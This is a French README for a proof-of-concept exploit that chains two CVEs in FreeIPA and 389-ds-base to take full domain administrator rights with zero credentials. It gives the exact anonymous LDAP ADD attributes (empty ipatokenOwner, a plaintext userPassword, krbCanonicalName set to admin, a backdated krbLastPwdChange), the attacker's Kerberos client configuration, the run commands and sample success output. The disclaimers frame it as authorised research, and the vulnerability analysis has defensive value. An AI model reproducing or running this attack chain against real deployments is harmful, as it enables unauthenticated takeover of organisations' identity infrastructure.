
Proof-of-concept d'exploitation pour CVE-2026-76578 et CVE-2026-76560, enchaînant un LDAP ADD anonyme avec un contournement SELFDN de 389-ds pour obtenir les droits d'administrateur de domaine FreeIPA.
Produit : FreeIPA 4.9.x – 4.13.3
Sévérité : Critique (CVSS 9.8)
Corrigé : FreeIPA 4.13.4 / 389-ds-base 3.2.0-10.el10_2 (RHSA-2026:64785)
Cette preuve de concept a été développée et exécutée exclusivement dans un environnement de laboratoire isolé et privé dans le but d'une recherche de sécurité autorisée et d'une validation de vulnérabilité.
Avant d'utiliser ce script :
Les auteurs déclinent toute responsabilité en cas de mauvaise utilisation. Ce code est fourni pour la recherche défensive et les tests d'intrusion autorisés uniquement.
Note sur la portabilité : ce script a été validé contre les versions spécifiques des paquets listées dans la section Environnement de test ci-dessous. Le comportement sur d'autres versions d'OS, niveaux de correctifs ou configurations FreeIPA non par défaut peut différer. Vérifiez toujours les résultats de manière indépendante dans un environnement contrôlé avant de tirer des conclusions sur une cible de production.
| Paramètre | Valeur |
|---|---|
| OS | Fedora 44 (x86_64) |
| FreeIPA | freeipa-server-4.13.1-9.fc44 |
| 389-ds-base | 389-ds-base-3.2.0-15.fc44 |
| MIT Kerberos | krb5-libs-1.21.x |
| Realm | TEST.LOCAL |
| Domaine | test.local |
| IP du serveur | 192.168.1.11 |
| Nom d'hôte | ipa-master.test.local |
| Hôte d'attaque | Kali Linux (externe, sans appartenance au domaine) |
Un client LDAP non authentifié peut ajouter une entrée de jeton OTP sous cn=otp et
obtenir les pleins droits d'administrateur du domaine FreeIPA. Deux failles se combinent :
CVE-2026-76578 (FreeIPA) — l'ACI OTP ADD n'a aucune restriction targetattr,
donc un ADD anonyme peut inclure n'importe quel attribut : krbPrincipalAux, krbCanonicalName,
userPassword, krbLastPwdChange, etc.
CVE-2026-76560 (389-ds-base) — l'évaluateur SELFDN traite "" (chaîne vide)
comme correspondant au DN de bind anonyme, contournant la vérification de propriété
ipatokenOwner#SELFDN.
L'idée critique — aucun blob pré-capturé, aucun accès à la clé maître nécessaire :
Ajouter objectClass: inetOrgPerson + userPassword à l'entrée déclenche le
plugin ipapwd de 389-DS qui génère automatiquement krbPrincipalKey
côté serveur, en le chiffrant avec le krbMKey du realm cible. L'attaquant
fournit un mot de passe en clair ; le serveur dérive la clé Kerberos en interne.
Définir krbLastPwdChange: 20200101000000Z (date passée) dans le même ADD contourne
la politique krbMinPwdLife qui exigerait autrement un changement de mot de passe
interactif avant que kinit ne réussisse.
| CVE | Composant | Description |
|---|---|---|
| CVE-2026-76578 | FreeIPA | L'ACI OTP manque de targetattr — tout attribut passe en ADD anonyme |
| CVE-2026-76560 | 389-ds-base | L'évaluateur SELFDN accepte "" comme DN de bind anonyme |
Anonymous LDAP ADD (port 389, zero credentials)
ipatokenOwner: "" ← CVE-2026-76560: SELFDN "" == anonymous DN
objectClass: inetOrgPerson ← enables userPassword attribute
userPassword: PwnedPass1! ← CVE-2026-76578: no targetattr restriction
krbCanonicalName: admin@REALM ← not in kerberos uniqueness plugin for cn=otp
krbLastPwdChange: 20200101 ← bypass krbMinPwdLife policy
↓
389-DS ipapwd: userPassword → krbPrincipalKey (server-side, target's krbMKey)
↓
kinit attacker@REALM → TGT: Default principal: admin@REALM
↓
GSSAPI bind → dn: uid=admin,cn=users,cn=accounts,…
↓
uid=admin ∈ cn=admins → full domain administrator
| Composant | Vulnérable | Corrigé |
|---|---|---|
| FreeIPA | 4.9.x – 4.13.3 | 4.13.4 |
| 389-ds-base (RHEL 10) | < 3.2.0-10.el10_2 | 3.2.0-10.el10_2 (RHSA-2026:64785) |
| 389-ds-base (RHEL 9) | < build corrigé | voir l'avis correspondant |
| 389-ds-base (Fedora 44) | 3.2.0-15.fc44 | non corrigé au moment des tests |
apt install python3-ldap krb5-user ldap-utils libsasl2-modules-gssapi-mit
/etc/hosts :
<target-ip> ipa-master.test.local
/etc/krb5.conf — canonicalize = true requis pour le Niveau 3 :
[libdefaults]
default_realm = TEST.LOCAL
canonicalize = true
forwardable = true
rdns = false
[realms]
TEST.LOCAL = {
kdc = ipa-master.test.local
}
[domain_realm]
.test.local = TEST.LOCAL
test.local = TEST.LOCAL
python3 poc.py <target_ip> <ipa_hostname> <REALM>
# Test lab:
python3 poc.py 192.168.1.11 ipa-master.test.local TEST.LOCAL
# Other lab:
python3 poc.py 10.10.10.5 ipa.corp.local CORP.LOCAL
── TEST 1: Anonymous ADD — server-side krbPrincipalKey generation ───
[+] ADD succeeded: ipatokenuniqueid=pwn-...,cn=otp,dc=test,dc=local
[+] Server generated krbPrincipalKey from userPassword (ipapwd plugin)
[+] TGT obtained — LEVEL 1 CONFIRMED
Default principal: [email protected]
── TEST 2: GSSAPI LDAP bind ─────────────────────────────────────────
[+] GSSAPI bind succeeded: dn: ipatokenuniqueid=pwn-...,cn=otp,...
[+] LEVEL 2 CONFIRMED
── TEST 3: krbCanonicalName=admin collision ──────────────────────────
[+] ADD with [email protected] succeeded
[+] TGT obtained — ticket claims principal: [email protected]
[+] TGT cname is admin — LEVEL 3 CONFIRMED
[+] GSSAPI bind: dn: uid=admin,cn=users,cn=accounts,dc=test,dc=local
[+] uid=admin is member of cn=admins — real admin rights confirmed
════════════════════════════════════════════════════════════
CVE-2026-76578 — Result Summary
════════════════════════════════════════════════════════════
Level 1 — Server-side krbPrincipalKey + TGT [✓] CONFIRMED
Level 2 — GSSAPI LDAP / Kerberos auth [✓] CONFIRMED
Level 3 — Real admin group membership [✓] CONFIRMED
Full zero-credential compromise chain reproduced.
No pre-captured blob required.
════════════════════════════════════════════════════════════
krbPrincipalKey est chiffré avec le krbMKey (clé maître) de la cible.
La clé maître est stockée dans LDAP à cn=REALM,cn=kerberos et n'est lisible que
par le Directory Manager — pas de manière anonyme, pas par uid=admin via GSSAPI.
Injecter krbPrincipalKey directement est impossible sans la clé maître.
Injecter userPassword délègue la génération de clé au plugin ipapwd du serveur,
qui a un accès interne à krbMKey et effectue le chiffrement
de manière transparente. L'ACI (CVE-2026-76578) autorise userPassword sans aucune
vérification targetattr.
Le plugin d'unicité kerberos impose l'unicité sur krbPrincipalName et
krbPrincipalAlias sur tout le suffixe, mais pas sur krbCanonicalName.
Une nouvelle entrée dans cn=otp avec krbCanonicalName: admin@REALM n'entre pas en conflit
avec le véritable principal admin.
Avec canonicalize = true côté client, kinit attacker@REALM récupère l'
entrée par krbPrincipalName, mais le KDC émet le TGT avec
cname = krbCanonicalName = admin@REALM. GSSAPI résout cela vers le véritable
DN uid=admin — déjà membre légitime de cn=admins. Aucune modification de groupe
n'est effectuée.